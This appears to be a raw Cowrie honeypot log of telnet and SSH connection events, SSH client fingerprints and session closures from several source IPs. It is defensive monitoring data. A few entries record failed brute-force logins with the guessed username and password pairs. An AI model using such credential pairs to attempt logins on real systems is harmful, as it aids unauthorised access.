{"eventid":"cowrie.session.closed","duration":10.281074285507202,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:35.035256Z","src_ip":"147.182.143.59","session":"df950c66e34b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49586,"dst_ip":"10.17.0.5","dst_port":23,"session":"75da165c9ea3","protocol":"telnet","message":"New connection: 45.58.127.90:49586 (10.17.0.5:23) [session: 75da165c9ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:35.416761Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"9156142b6fd6","protocol":"telnet","message":"New connection: 45.58.127.90:49588 (10.17.0.5:23) [session: 9156142b6fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:37.119359Z"}
{"eventid":"cowrie.session.closed","duration":14.449555158615112,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:40.545842Z","src_ip":"102.216.73.109","session":"8bd8c26cd39a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57882,"dst_ip":"159.203.135.109","dst_port":23,"session":"3427feac4d34","protocol":"telnet","message":"New connection: 147.182.143.59:57882 (159.203.135.109:23) [session: 3427feac4d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:49.105249Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":53472,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7818b3f0ba1","protocol":"ssh","message":"New connection: 154.198.162.75:53472 (10.17.0.5:22) [session: b7818b3f0ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:50.464674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:50.470019Z","src_ip":"154.198.162.75","session":"b7818b3f0ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:50.680046Z","src_ip":"154.198.162.75","session":"b7818b3f0ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"ABCabc123","message":"login attempt [test/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:51.587244Z","src_ip":"154.198.162.75","session":"b7818b3f0ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10494375228882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:52.746438Z","src_ip":"69.162.99.242","session":"99d1bafda36d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:52.797644Z","src_ip":"154.198.162.75","session":"b7818b3f0ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09365487098694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:55.628760Z","src_ip":"69.162.99.242","session":"8731d6d23596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.66177010536194,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:39:59.476196Z","src_ip":"176.65.149.254","session":"ec1e478db8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37204,"dst_ip":"10.17.0.5","dst_port":23,"session":"29bf7039d315","protocol":"telnet","message":"New connection: 45.58.127.90:37204 (10.17.0.5:23) [session: 29bf7039d315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:00.886679Z"}
{"eventid":"cowrie.session.closed","duration":57.17274498939514,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:03.559510Z","src_ip":"147.182.143.59","session":"705e11d00f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42508,"dst_ip":"159.203.135.109","dst_port":23,"session":"e96a9b1c183c","protocol":"telnet","message":"New connection: 147.182.143.59:42508 (159.203.135.109:23) [session: e96a9b1c183c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:04.011841Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42512,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf6879b0c9f6","protocol":"telnet","message":"New connection: 147.182.143.59:42512 (159.203.135.109:23) [session: cf6879b0c9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:04.356909Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42526,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fb5bef5f109","protocol":"telnet","message":"New connection: 147.182.143.59:42526 (159.203.135.109:23) [session: 1fb5bef5f109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:04.854245Z"}
{"eventid":"cowrie.session.closed","duration":33.93781518936157,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:11.057082Z","src_ip":"45.58.127.90","session":"9156142b6fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.277860164642334,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:15.100570Z","src_ip":"45.58.127.90","session":"48deb4f2fc59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.35658311843872,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:15.210692Z","src_ip":"147.182.143.59","session":"1fb5bef5f109","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.901982545852661,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:18.258733Z","src_ip":"147.182.143.59","session":"cf6879b0c9f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.24392533302307,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:18.660558Z","src_ip":"45.58.127.90","session":"75da165c9ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.72830033302307,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:20.739999Z","src_ip":"147.182.143.59","session":"e96a9b1c183c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47854,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcbf0c77ad6f","protocol":"telnet","message":"New connection: 147.182.143.59:47854 (159.203.135.109:23) [session: bcbf0c77ad6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:30.545848Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47868,"dst_ip":"159.203.135.109","dst_port":23,"session":"a38ca4eb5257","protocol":"telnet","message":"New connection: 147.182.143.59:47868 (159.203.135.109:23) [session: a38ca4eb5257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:33.349029Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54348,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1de3e0eee88","protocol":"telnet","message":"New connection: 45.58.127.90:54348 (10.17.0.5:23) [session: a1de3e0eee88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:35.221043Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":56732,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea0b1a7315c","protocol":"telnet","message":"New connection: 69.162.99.242:56732 (159.203.135.109:23) [session: aea0b1a7315c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:38.486907Z"}
{"eventid":"cowrie.session.closed","duration":9.396637916564941,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:39.942378Z","src_ip":"147.182.143.59","session":"bcbf0c77ad6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54174,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73b02a1093e","protocol":"telnet","message":"New connection: 45.58.127.90:54174 (10.17.0.5:23) [session: e73b02a1093e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:41.696312Z"}
{"eventid":"cowrie.session.closed","duration":8.90627121925354,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:42.255154Z","src_ip":"147.182.143.59","session":"a38ca4eb5257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.61703944206238,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:45.503563Z","src_ip":"45.58.127.90","session":"29bf7039d315","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54186,"dst_ip":"10.17.0.5","dst_port":23,"session":"4372a601738a","protocol":"telnet","message":"New connection: 45.58.127.90:54186 (10.17.0.5:23) [session: 4372a601738a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:46.636711Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":46088,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5b2f4916403","protocol":"ssh","message":"New connection: 154.198.162.75:46088 (10.17.0.5:22) [session: e5b2f4916403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:47.705124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:47.709800Z","src_ip":"154.198.162.75","session":"e5b2f4916403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:47.910478Z","src_ip":"154.198.162.75","session":"e5b2f4916403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54188,"dst_ip":"10.17.0.5","dst_port":23,"session":"1878cd6e58e9","protocol":"telnet","message":"New connection: 45.58.127.90:54188 (10.17.0.5:23) [session: 1878cd6e58e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:48.088900Z"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn@123","message":"login attempt [vpn/vpn@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:48.746642Z","src_ip":"154.198.162.75","session":"e5b2f4916403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:49.953457Z","src_ip":"154.198.162.75","session":"e5b2f4916403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44506,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bdccc04a499","protocol":"telnet","message":"New connection: 45.58.127.90:44506 (10.17.0.5:23) [session: 7bdccc04a499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:52.343606Z"}
{"eventid":"cowrie.session.closed","duration":64.32565879821777,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:53.430789Z","src_ip":"147.182.143.59","session":"3427feac4d34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40854,"dst_ip":"159.203.135.109","dst_port":23,"session":"690383813970","protocol":"telnet","message":"New connection: 50.6.18.72:40854 (159.203.135.109:23) [session: 690383813970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:40:55.953485Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ce72814ba92","protocol":"telnet","message":"New connection: 147.182.143.59:35084 (159.203.135.109:23) [session: 0ce72814ba92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:02.144017Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44178,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee559ed90bb3","protocol":"telnet","message":"New connection: 69.162.99.242:44178 (159.203.135.109:23) [session: ee559ed90bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:05.151519Z"}
{"eventid":"cowrie.session.closed","duration":7.426847457885742,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:09.570766Z","src_ip":"147.182.143.59","session":"0ce72814ba92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160037755966187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:09.646784Z","src_ip":"69.162.99.242","session":"aea0b1a7315c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43188,"dst_ip":"10.17.0.5","dst_port":23,"session":"3afb8dfa5178","protocol":"telnet","message":"New connection: 45.58.127.90:43188 (10.17.0.5:23) [session: 3afb8dfa5178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:12.277594Z"}
{"eventid":"cowrie.session.closed","duration":40.67845821380615,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:15.899352Z","src_ip":"45.58.127.90","session":"a1de3e0eee88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.77860498428345,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:24.474745Z","src_ip":"45.58.127.90","session":"e73b02a1093e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.022605657577515,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:26.659182Z","src_ip":"45.58.127.90","session":"4372a601738a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11517024040222,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:27.068537Z","src_ip":"50.6.18.72","session":"690383813970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82905030250549,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:27.172548Z","src_ip":"45.58.127.90","session":"7bdccc04a499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49790,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dc7f2bb7a73","protocol":"telnet","message":"New connection: 69.162.99.242:49790 (159.203.135.109:23) [session: 8dc7f2bb7a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:27.732659Z"}
{"eventid":"cowrie.session.closed","duration":41.71615409851074,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:29.804937Z","src_ip":"45.58.127.90","session":"1878cd6e58e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49490,"dst_ip":"10.17.0.5","dst_port":23,"session":"a430b23d4c4d","protocol":"telnet","message":"New connection: 45.58.127.90:49490 (10.17.0.5:23) [session: a430b23d4c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:32.026331Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":41470,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b63732cd519","protocol":"telnet","message":"New connection: 69.162.99.242:41470 (159.203.135.109:23) [session: 6b63732cd519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:35.269562Z"}
{"eventid":"cowrie.session.closed","duration":31.49742078781128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:36.648818Z","src_ip":"69.162.99.242","session":"ee559ed90bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34992,"dst_ip":"159.203.135.109","dst_port":23,"session":"092dd6bc17e8","protocol":"telnet","message":"New connection: 147.182.143.59:34992 (159.203.135.109:23) [session: 092dd6bc17e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:37.078528Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44370,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e8e863ae767","protocol":"telnet","message":"New connection: 69.162.99.242:44370 (159.203.135.109:23) [session: 4e8e863ae767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:37.159410Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":51670,"dst_ip":"159.203.135.109","dst_port":23,"session":"57e2cc362954","protocol":"telnet","message":"New connection: 69.162.99.242:51670 (159.203.135.109:23) [session: 57e2cc362954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:38.857577Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55664,"dst_ip":"159.203.135.109","dst_port":23,"session":"57df0d0bb548","protocol":"telnet","message":"New connection: 69.162.99.242:55664 (159.203.135.109:23) [session: 57df0d0bb548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:40.413172Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57364,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aad8822a06d","protocol":"telnet","message":"New connection: 69.162.99.242:57364 (159.203.135.109:23) [session: 1aad8822a06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:40.999138Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":50882,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd2d830cc0e0","protocol":"ssh","message":"New connection: 154.198.162.75:50882 (10.17.0.5:22) [session: cd2d830cc0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:41.512304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:41.516953Z","src_ip":"154.198.162.75","session":"cd2d830cc0e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:41.726250Z","src_ip":"154.198.162.75","session":"cd2d830cc0e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Abc12345","message":"login attempt [user/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:42.664777Z","src_ip":"154.198.162.75","session":"cd2d830cc0e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:43.876909Z","src_ip":"154.198.162.75","session":"cd2d830cc0e0","protocol":"ssh"}
